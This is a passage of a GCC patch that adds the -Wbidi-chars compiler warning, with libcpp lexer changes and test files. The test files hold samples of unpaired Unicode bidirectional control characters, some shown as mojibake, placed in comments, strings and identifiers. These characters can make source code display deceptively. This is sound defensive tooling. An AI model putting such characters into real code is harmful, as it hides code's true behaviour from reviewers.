++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int X\u2069;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-6.c b/gcc/testsuite/c-c++-common/Wbidi-chars-6.c
+new file mode 100644
+index 00000000000..0ce6fff2dee
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-6.c
+@@ -0,0 +1,155 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test nesting of bidi chars in various contexts. */
++
++/* Terminated by the wrong char: */
++/* a b c LRE⪠1 2 3 PDI⩠x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLEâ« 1 2 3 PDIâ© x y z*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LROâ­ 1 2 3 PDIâ© x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLOâ® 1 2 3 PDIâ© x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LRI⦠1 2 3 PDF⬠x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLI⧠1 2 3 PDF⬠x y z */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* a b c FSI⨠1 2 3 PDF⬠x y z*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++/* LRE⪠PDF⬠*/
++/* LRE⪠LRE⪠PDF⬠PDF⬠*/
++/* PDF⬠LRE⪠PDF⬠*/
++/* LRE⪠PDF⬠LRE⪠PDF⬠*/
++/* LRE⪠LRE⪠PDF⬠*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* PDF⬠LRE⪠*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++// a b c LRE⪠1 2 3 PDI⩠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLEâ« 1 2 3 PDIâ© x y z*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c LROâ­ 1 2 3 PDIâ© x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLOâ® 1 2 3 PDIâ© x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c LRI⦠1 2 3 PDF⬠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLI⧠1 2 3 PDF⬠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// a b c FSI⨠1 2 3 PDF⬠x y z
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++// LRE⪠PDFâ¬
++// LRE⪠LRE⪠PDF⬠PDFâ¬
++// PDF⬠LRE⪠PDFâ¬
++// LRE⪠PDF⬠LRE⪠PDFâ¬
++// LRE⪠LRE⪠PDFâ¬
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// PDF⬠LREâª
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++void
++g1 ()
++{
++ const char *s1 = "a b c LRE⪠1 2 3 PDI⩠x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s2 = "a b c LRE\u202a 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s3 = "a b c RLEâ« 1 2 3 PDIâ© x y ";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s4 = "a b c RLE\u202b 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s5 = "a b c LROâ­ 1 2 3 PDIâ© x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s6 = "a b c LRO\u202d 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s7 = "a b c RLOâ® 1 2 3 PDIâ© x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s8 = "a b c RLO\u202e 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s9 = "a b c LRI⦠1 2 3 PDF⬠x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s10 = "a b c LRI\u2066 1 2 3 PDF\u202c x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s11 = "a b c RLI⧠1 2 3 PDF⬠x y z\
++ ";
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++ const char *s12 = "a b c RLI\u2067 1 2 3 PDF\u202c x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s13 = "a b c FSI⨠1 2 3 PDF⬠x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s14 = "a b c FSI\u2068 1 2 3 PDF\u202c x y z";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s15 = "PDF⬠LREâª";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s16 = "PDF\u202c LRE\u202a";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s17 = "LRE⪠PDFâ¬";
++ const char *s18 = "LRE\u202a PDF\u202c";
++ const char *s19 = "LRE⪠LRE⪠PDF⬠PDFâ¬";
++ const char *s20 = "LRE\u202a LRE\u202a PDF\u202c PDF\u202c";
++ const char *s21 = "PDF⬠LRE⪠PDFâ¬";
++ const char *s22 = "PDF\u202c LRE\u202a PDF\u202c";
++ const char *s23 = "LRE⪠LRE⪠PDFâ¬";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s24 = "LRE\u202a LRE\u202a PDF\u202c";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s25 = "PDF⬠LREâª";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s26 = "PDF\u202c LRE\u202a";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s27 = "PDF⬠LRE\u202a";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char *s28 = "PDF\u202c LREâª";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++}
++
++int aLREâªbPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int A\u202aB\u2069C;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aRLEâ«bPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u202bB\u2069c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aLROâ­bPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u202db\u2069c2;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aRLOâ®bPDIâ©;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u202eb\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aLRIâ¦bPDFâ¬;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u2066b\u202c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aRLIâ§bPDFâ¬c
++;
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++int a\u2067b\u202c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aFSIâ¨bPDFâ¬;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a\u2068b\u202c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aFSIâ¨bPD\u202C;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aFSI\u2068bPDFâ¬_;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int aLREâªbPDFâ¬b;
++int A\u202aB\u202c;
++int a_LREâª_LREâª_b_PDFâ¬_PDFâ¬;
++int A\u202aA\u202aB\u202cB\u202c;
++int aPDFâ¬bLREadPDFâ¬;
++int a_\u202C_\u202a_\u202c;
++int a_LREâª_b_PDFâ¬_c_LREâª_PDFâ¬;
++int a_\u202a_\u202c_\u202a_\u202c_;
++int a_LREâª_b_PDFâ¬_c_LREâª;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int a_\u202a_\u202c_\u202a_;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-7.c b/gcc/testsuite/c-c++-common/Wbidi-chars-7.c
+new file mode 100644
+index 00000000000..d012d420ec0
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-7.c
+@@ -0,0 +1,9 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test we ignore UCNs in comments. */
++
++// a b c \u202a 1 2 3
++// a b c \u202A 1 2 3
++/* a b c \u202a 1 2 3 */
++/* a b c \u202A 1 2 3 */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-8.c b/gcc/testsuite/c-c++-common/Wbidi-chars-8.c
+new file mode 100644
+index 00000000000..4f54c5092ec
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-8.c
+@@ -0,0 +1,13 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test \u vs \U. */
++
++int a_\u202A;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int a_\u202a_2;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int a_\U0000202A_3;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int a_\U0000202a_4;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-9.c b/gcc/testsuite/c-c++-common/Wbidi-chars-9.c
+new file mode 100644
+index 00000000000..e2af1b1ca97
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-9.c
+@@ -0,0 +1,29 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test that we properly separate bidi contexts (comment/identifier/character
++ constant/string literal). */
++
++/* LRE ->âª<- */ int pdf_\u202c_1;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* RLE ->â«<- */ int pdf_\u202c_2;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRO ->â­<- */ int pdf_\u202c_3;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* RLO ->â®<- */ int pdf_\u202c_4;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRI ->â¦<-*/ int pdi_\u2069_1;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* RLI ->â§<- */ int pdi_\u2069_12;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* FSI ->â¨<- */ int pdi_\u2069_3;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++const char *s1 = "LRE\u202a"; /* PDF ->â¬<- */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRE ->âª<- */ const char *s2 = "PDF\u202c";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s3 = "LRE\u202a"; int pdf_\u202c_5;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int lre_\u202a; const char *s4 = "PDF\u202c";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/libcpp/include/cpplib.h b/libcpp/include/cpplib.h
+index 176f8c5bbce..112b9c24751 100644
+--- a/libcpp/include/cpplib.h
++++ b/libcpp/include/cpplib.h
+@@ -318,6 +318,17 @@ enum cpp_main_search
+ CMS_system, /* Search the system INCLUDE path. */
+ };
+
++/* The possible bidirectional control characters checking levels, from least
++ restrictive to most. */
++enum cpp_bidirectional_level {
++ /* No checking. */
++ bidirectional_none,
++ /* Only detect unpaired uses of bidirectional control characters. */
++ bidirectional_unpaired,
++ /* Detect any use of bidirectional control characters. */
++ bidirectional_any
++};
++
+ /* This structure is nested inside struct cpp_reader, and
+ carries all the options visible to the command line. */
+ struct cpp_options
+@@ -531,6 +542,10 @@ struct cpp_options
+ /* True if warn about differences between C++98 and C++11. */
+ bool cpp_warn_cxx11_compat;
+
++ /* Nonzero if bidirectional control characters checking is on. See enum
++ cpp_bidirectional_level. */
++ unsigned char cpp_warn_bidirectional;
++
+ /* Dependency generation. */
+ struct
+ {
+@@ -635,7 +650,8 @@ enum cpp_warning_reason {
+ CPP_W_C90_C99_COMPAT,
+ CPP_W_C11_C2X_COMPAT,
+ CPP_W_CXX11_COMPAT,
+- CPP_W_EXPANSION_TO_DEFINED
++ CPP_W_EXPANSION_TO_DEFINED,
++ CPP_W_BIDIRECTIONAL
+ };
+
+ /* Callback for header lookup for HEADER, which is the name of a
+diff --git a/libcpp/init.c b/libcpp/init.c
+index 5a424e23553..f9a8f5f088f 100644
+--- a/libcpp/init.c
++++ b/libcpp/init.c
+@@ -219,6 +219,7 @@ cpp_create_reader (enum c_lang lang, cpp
+ = ENABLE_CANONICAL_SYSTEM_HEADERS;
+ CPP_OPTION (pfile, ext_numeric_literals) = 1;
+ CPP_OPTION (pfile, warn_date_time) = 0;
++ CPP_OPTION (pfile, cpp_warn_bidirectional) = bidirectional_unpaired;
+
+ /* Default CPP arithmetic to something sensible for the host for the
+ benefit of dumb users like fix-header. */
+diff --git a/libcpp/internal.h b/libcpp/internal.h
+index 8577cab6c83..0ce0246c5a2 100644
+--- a/libcpp/internal.h
++++ b/libcpp/internal.h
+@@ -597,6 +597,13 @@ struct cpp_reader
+ /* Location identifying the main source file -- intended to be line
+ zero of said file. */
+ location_t main_loc;
++
++ /* Returns true iff we should warn about UTF-8 bidirectional control
++ characters. */
++ bool warn_bidi_p () const
++ {
++ return CPP_OPTION (this, cpp_warn_bidirectional) != bidirectional_none;
++ }
+ };
+
+ /* Character classes. Based on the more primitive macros in safe-ctype.h.
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+index fa2253d41c3..6a4fbce6030 100644
+--- a/libcpp/lex.c
++++ b/libcpp/lex.c
+@@ -1164,6 +1164,324 @@ _cpp_process_line_notes (cpp_reader *pfi
+ }
+ }
+
++namespace bidi {
++ enum class kind {
++ NONE, LRE, RLE, LRO, RLO, LRI, RLI, FSI, PDF, PDI, LTR, RTL
++ };
++
++ /* All the UTF-8 encodings of bidi characters start with E2. */
++ constexpr uchar utf8_start = 0xe2;
++
++ /* A vector holding currently open bidi contexts. We use a char for
++ each context, its LSB is 1 if it represents a PDF context, 0 if it
++ represents a PDI context. The next bit is 1 if this context was open
++ by a bidi character written as a UCN, and 0 when it was UTF-8. */
++ semi_embedded_vec <unsigned char, 16> vec;
++
++ /* Close the whole comment/identifier/string literal/character constant
++ context. */
++ void on_close ()
++ {
++ vec.truncate (0);
++ }
++
++ /* Pop the last element in the vector. */
++ void pop ()
++ {
++ unsigned int len = vec.count ();
++ gcc_checking_assert (len > 0);
++ vec.truncate (len - 1);
++ }
++
++ /* Return the context of the Ith element. */
++ kind ctx_at (unsigned int i)
++ {
++ return (vec[i] & 1) ? kind::PDF : kind::PDI;
++ }
++
++ /* Return which context is currently opened. */
++ kind current_ctx ()
++ {
++ unsigned int len = vec.count ();
++ if (len == 0)
++ return kind::NONE;
++ return ctx_at (len - 1);
++ }
++
++ /* Return true if the current context comes from a UCN origin, that is,
++ the bidi char which started this bidi context was written as a UCN. */
++ bool current_ctx_ucn_p ()
++ {
++ unsigned int len = vec.count ();
++ gcc_checking_assert (len > 0);
++ return (vec[len - 1] >> 1) & 1;
++ }
++
++ /* We've read a bidi char, update the current vector as necessary. */
++ void on_char (kind k, bool ucn_p)
++ {
++ switch (k)
++ {
++ case kind::LRE:
++ case kind::RLE:
++ case kind::LRO:
++ case kind::RLO:
++ vec.push (ucn_p ? 3u : 1u);
++ break;
++ case kind::LRI:
++ case kind::RLI:
++ case kind::FSI:
++ vec.push (ucn_p ? 2u : 0u);
++ break;
++ /* PDF terminates the scope of the last LRE, RLE, LRO, or RLO
++ whose scope has not yet been terminated. */
++ case kind::PDF:
++ if (current_ctx () == kind::PDF)
++ pop ();
++ break;
++ /* PDI terminates the scope of the last LRI, RLI, or FSI whose
++ scope has not yet been terminated, as well as the scopes of
++ any subsequent LREs, RLEs, LROs, or RLOs whose scopes have not
++ yet been terminated. */
++ case kind::PDI:
++ for (int i = vec.count () - 1; i >= 0; --i)
++ if (ctx_at (i) == kind::PDI)
++ {
++ vec.truncate (i);
++ break;
++ }
++ break;
++ case kind::LTR:
++ case kind::RTL:
++ /* These aren't popped by a PDF/PDI. */
++ break;
++ [[likely]] case kind::NONE:
++ break;
++ default:
++ abort ();
++ }
++ }
++
++ /* Return a descriptive string for K. */
++ const char *to_str (kind k)
++ {
++ switch (k)
++ {
++ case kind::LRE:
++ return "U+202A (LEFT-TO-RIGHT EMBEDDING)";
++ case kind::RLE:
++ return "U+202B (RIGHT-TO-LEFT EMBEDDING)";
++ case kind::LRO:
++ return "U+202D (LEFT-TO-RIGHT OVERRIDE)";
++ case kind::RLO:
++ return "U+202E (RIGHT-TO-LEFT OVERRIDE)";
++ case kind::LRI:
++ return "U+2066 (LEFT-TO-RIGHT ISOLATE)";
++ case kind::RLI:
++ return "U+2067 (RIGHT-TO-LEFT ISOLATE)";
++ case kind::FSI:
++ return "U+2068 (FIRST STRONG ISOLATE)";
++ case kind::PDF:
++ return "U+202C (POP DIRECTIONAL FORMATTING)";
++ case kind::PDI:
++ return "U+2069 (POP DIRECTIONAL ISOLATE)";
++ case kind::LTR:
++ return "U+200E (LEFT-TO-RIGHT MARK)";
++ case kind::RTL:
++ return "U+200F (RIGHT-TO-LEFT MARK)";
++ default:
++ abort ();
++ }
++ }
++}
++
++/* Parse a sequence of 3 bytes starting with P and return its bidi code. */
++
++static bidi::kind
++get_bidi_utf8 (const unsigned char *const p)
++{
++ gcc_checking_assert (p[0] == bidi::utf8_start);
++
++ if (p[1] == 0x80)
++ switch (p[2])
++ {
++ case 0xaa:
++ return bidi::kind::LRE;
++ case 0xab:
++ return bidi::kind::RLE;
++ case 0xac:
++ return bidi::kind::PDF;
++ case 0xad:
++ return bidi::kind::LRO;
++ case 0xae:
++ return bidi::kind::RLO;
++ case 0x8e:
++ return bidi::kind::LTR;
++ case 0x8f:
++ return bidi::kind::RTL;
++ default:
++ break;
++ }
++ else if (p[1] == 0x81)
++ switch (p[2])
++ {
++ case 0xa6:
++ return bidi::kind::LRI;
++ case 0xa7:
++ return bidi::kind::RLI;
++ case 0xa8:
++ return bidi::kind::FSI;
++ case 0xa9:
++ return bidi::kind::PDI;
++ default:
++ break;
++ }
++
++ return bidi::kind::NONE;
++}
++
++/* Parse a UCN where P points just past \u or \U and return its bidi code. */
++
++static bidi::kind
++get_bidi_ucn (const unsigned char *p, bool is_U)
++{
++ /* 6.4.3 Universal Character Names
++ \u hex-quad
++ \U hex-quad hex-quad
++ where \unnnn means \U0000nnnn. */
++
++ if (is_U)
++ {
++ if (p[0] != '0' || p[1] != '0' || p[2] != '0' || p[3] != '0')
++ return bidi::kind::NONE;
++ /* Skip 4B so we can treat \u and \U the same below. */
++ p += 4;
++ }
++
++ /* All code points we are looking for start with 20xx. */
++ if (p[0] != '2' || p[1] != '0')
++ return bidi::kind::NONE;
++ else if (p[2] == '2')
++ switch (p[3])
++ {
++ case 'a':
++ case 'A':
++ return bidi::kind::LRE;
++ case 'b':
++ case 'B':
++ return bidi::kind::RLE;
++ case 'c':
++ case 'C':
++ return bidi::kind::PDF;
++ case 'd':
++ case 'D':
++ return bidi::kind::LRO;
++ case 'e':
++ case 'E':
++ return bidi::kind::RLO;
++ default:
++ break;
++ }
++ else if (p[2] == '6')
++ switch (p[3])
++ {
++ case '6':
++ return bidi::kind::LRI;
++ case '7':
++ return bidi::kind::RLI;
++ case '8':
++ return bidi::kind::FSI;
++ case '9':
++ return bidi::kind::PDI;
++ default:
++ break;
++ }
++ else if (p[2] == '0')
++ switch (p[3])
++ {
++ case 'e':
++ case 'E':
++ return bidi::kind::LTR;
++ case 'f':
++ case 'F':
++ return bidi::kind::RTL;
++ default:
++ break;
++ }
++
++ return bidi::kind::NONE;
++}
++
++/* We're closing a bidi context, that is, we've encountered a newline,
++ are closing a C-style comment, or are at the end of a string literal,
++ character constant, or identifier. Warn if this context was not
++ properly terminated by a PDI or PDF. P points to the last character
++ in this context. */
++
++static void
++maybe_warn_bidi_on_close (cpp_reader *pfile, const uchar *p)
++{
++ if (CPP_OPTION (pfile, cpp_warn_bidirectional) == bidirectional_unpaired
++ && bidi::vec.count () > 0)
++ {
++ const location_t loc
++ = linemap_position_for_column (pfile->line_table,
++ CPP_BUF_COLUMN (pfile->buffer, p));
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "unpaired UTF-8 bidirectional control character "
++ "detected");
++ }
++ /* We're done with this context. */
++ bidi::on_close ();
++}
++
++/* We're at the beginning or in the middle of an identifier/comment/string
++ literal/character constant. Warn if we've encountered a bidi character.
++ KIND says which bidi character it was; P points to it in the character
++ stream. UCN_P is true iff this bidi character was written as a UCN. */
++
++static void
++maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
++ bool ucn_p)
++{
++ if (__builtin_expect (kind == bidi::kind::NONE, 1))
++ return;
++
++ const auto warn_bidi = CPP_OPTION (pfile, cpp_warn_bidirectional);
++
++ if (warn_bidi != bidirectional_none)
++ {
++ const location_t loc
++ = linemap_position_for_column (pfile->line_table,
++ CPP_BUF_COLUMN (pfile->buffer, p));
++ /* It seems excessive to warn about a PDI/PDF that is closing
++ an opened context because we've already warned about the
++ opening character. Except warn when we have a UCN x UTF-8
++ mismatch. */
++ if (kind == bidi::current_ctx ())
++ {
++ if (warn_bidi == bidirectional_unpaired
++ && bidi::current_ctx_ucn_p () != ucn_p)
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "UTF-8 vs UCN mismatch when closing "
++ "a context by \"%s\"", bidi::to_str (kind));
++ }
++ else if (warn_bidi == bidirectional_any)
++ {
++ if (kind == bidi::kind::PDF || kind == bidi::kind::PDI)
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "\"%s\" is closing an unopened context",
++ bidi::to_str (kind));
++ else
++ cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
++ "found problematic Unicode character \"%s\"",
++ bidi::to_str (kind));
++ }
++ }
++ /* We're done with this context. */
++ bidi::on_char (kind, ucn_p);
++}
++
+ /* Skip a C-style block comment. We find the end of the comment by
+ seeing if an asterisk is before every '/' we encounter. Returns
+ nonzero if comment terminated by EOF, zero otherwise.
+@@ -1175,6 +1493,7 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ cpp_buffer *buffer = pfile->buffer;
+ const uchar *cur = buffer->cur;
+ uchar c;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ cur++;
+ if (*cur == '/')
+@@ -1189,7 +1508,11 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ if (c == '/')
+ {
+ if (cur[-2] == '*')
+- break;
++ {
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, cur);
++ break;
++ }
+
+ /* Warn about potential nested comments, but not if the '/'
+ comes immediately before the true comment delimiter.
+@@ -1208,6 +1531,8 @@ _cpp_skip_block_comment (cpp_reader *pfi
+ {
+ unsigned int cols;
+ buffer->cur = cur - 1;
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, cur);
+ _cpp_process_line_notes (pfile, true);
+ if (buffer->next_line >= buffer->rlimit)
+ return true;
+@@ -1218,6 +1543,13 @@ _cpp_skip_block_comment (cpp_reader *pfi
+
+ cur = buffer->cur;
+ }
++ /* If this is a beginning of a UTF-8 encoding, it might be
++ a bidirectional control character. */
++ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_utf8 (cur - 1);
++ maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/false);
++ }
+ }
+
+ buffer->cur = cur;
+@@ -1233,9 +1565,31 @@ skip_line_comment (cpp_reader *pfile)
+ {
+ cpp_buffer *buffer = pfile->buffer;
+ location_t orig_line = pfile->line_table->highest_line;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+- while (*buffer->cur != '\n')
+- buffer->cur++;
++ if (!warn_bidi_p)
++ while (*buffer->cur != '\n')
++ buffer->cur++;
++ else
++ {
++ while (*buffer->cur != '\n'
++ && *buffer->cur != bidi::utf8_start)
++ buffer->cur++;
++ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0))
++ {
++ while (*buffer->cur != '\n')
++ {
++ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0))
++ {
++ bidi::kind kind = get_bidi_utf8 (buffer->cur);
++ maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
++ /*ucn_p=*/false);
++ }
++ buffer->cur++;
++ }
++ maybe_warn_bidi_on_close (pfile, buffer->cur);
++ }
++ }
+
+ _cpp_process_line_notes (pfile, true);
+ return orig_line != pfile->line_table->highest_line;
+@@ -1317,11 +1671,13 @@ static const cppchar_t utf8_signifier =
+
+ /* Returns TRUE if the sequence starting at buffer->cur is valid in
+ an identifier. FIRST is TRUE if this starts an identifier. */
++
+ static bool
+ forms_identifier_p (cpp_reader *pfile, int first,
+ struct normalize_state *state)
+ {
+ cpp_buffer *buffer = pfile->buffer;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ if (*buffer->cur == '$')
+ {
+@@ -1344,6 +1700,13 @@ forms_identifier_p (cpp_reader *pfile, i
+ cppchar_t s;
+ if (*buffer->cur >= utf8_signifier)
+ {
++ if (__builtin_expect (*buffer->cur == bidi::utf8_start, 0)
++ && warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_utf8 (buffer->cur);
++ maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
++ /*ucn_p=*/false);
++ }
+ if (_cpp_valid_utf8 (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s))
+ return true;
+@@ -1352,6 +1715,13 @@ forms_identifier_p (cpp_reader *pfile, i
+ && (buffer->cur[1] == 'u' || buffer->cur[1] == 'U'))
+ {
+ buffer->cur += 2;
++ if (warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_ucn (buffer->cur,
++ buffer->cur[-1] == 'U');
++ maybe_warn_bidi_on_char (pfile, buffer->cur, kind,
++ /*ucn_p=*/true);
++ }
+ if (_cpp_valid_ucn (pfile, &buffer->cur, buffer->rlimit, 1 + !first,
+ state, &s, NULL, NULL))
+ return true;
+@@ -1460,6 +1830,7 @@ lex_identifier (cpp_reader *pfile, const
+ const uchar *cur;
+ unsigned int len;
+ unsigned int hash = HT_HASHSTEP (0, *base);
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ cur = pfile->buffer->cur;
+ if (! starts_ucn)
+@@ -1483,6 +1854,8 @@ lex_identifier (cpp_reader *pfile, const
+ pfile->buffer->cur++;
+ }
+ } while (forms_identifier_p (pfile, false, nst));
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, pfile->buffer->cur);
+ result = _cpp_interpret_identifier (pfile, base,
+ pfile->buffer->cur - base);
+ *spelling = cpp_lookup (pfile, base, pfile->buffer->cur - base);
+@@ -1719,6 +2092,7 @@ static void
+ lex_raw_string (cpp_reader *pfile, cpp_token *token, const uchar *base)
+ {
+ const uchar *pos = base;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ /* 'tis a pity this information isn't passed down from the lexer's
+ initial categorization of the token. */
+@@ -1955,8 +2329,15 @@ lex_raw_string (cpp_reader *pfile, cpp_t
+ pos = base = pfile->buffer->cur;
+ note = &pfile->buffer->notes[pfile->buffer->cur_note];
+ }
++ else if (__builtin_expect ((unsigned char) c == bidi::utf8_start, 0)
++ && warn_bidi_p)
++ maybe_warn_bidi_on_char (pfile, pos - 1, get_bidi_utf8 (pos - 1),
++ /*ucn_p=*/false);
+ }
+
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, pos);
++
+ if (CPP_OPTION (pfile, user_literals))
+ {
+ /* If a string format macro, say from inttypes.h, is placed touching
+@@ -2051,15 +2432,27 @@ lex_string (cpp_reader *pfile, cpp_token
+ else
+ terminator = '>', type = CPP_HEADER_NAME;
+
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+ for (;;)
+ {
+ cppchar_t c = *cur++;
+
+ /* In #include-style directives, terminators are not escapable. */
+ if (c == '\\' && !pfile->state.angled_headers && *cur != '\n')
+- cur++;
++ {
++ if ((cur[0] == 'u' || cur[0] == 'U') && warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_ucn (cur + 1, cur[0] == 'U');
++ maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/true);
++ }
++ cur++;
++ }
+ else if (c == terminator)
+- break;
++ {
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, cur - 1);
++ break;
++ }
+ else if (c == '\n')
+ {
+ cur--;
+@@ -2076,6 +2469,11 @@ lex_string (cpp_reader *pfile, cpp_token
+ }
+ else if (c == '\0')
+ saw_NUL = true;
++ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
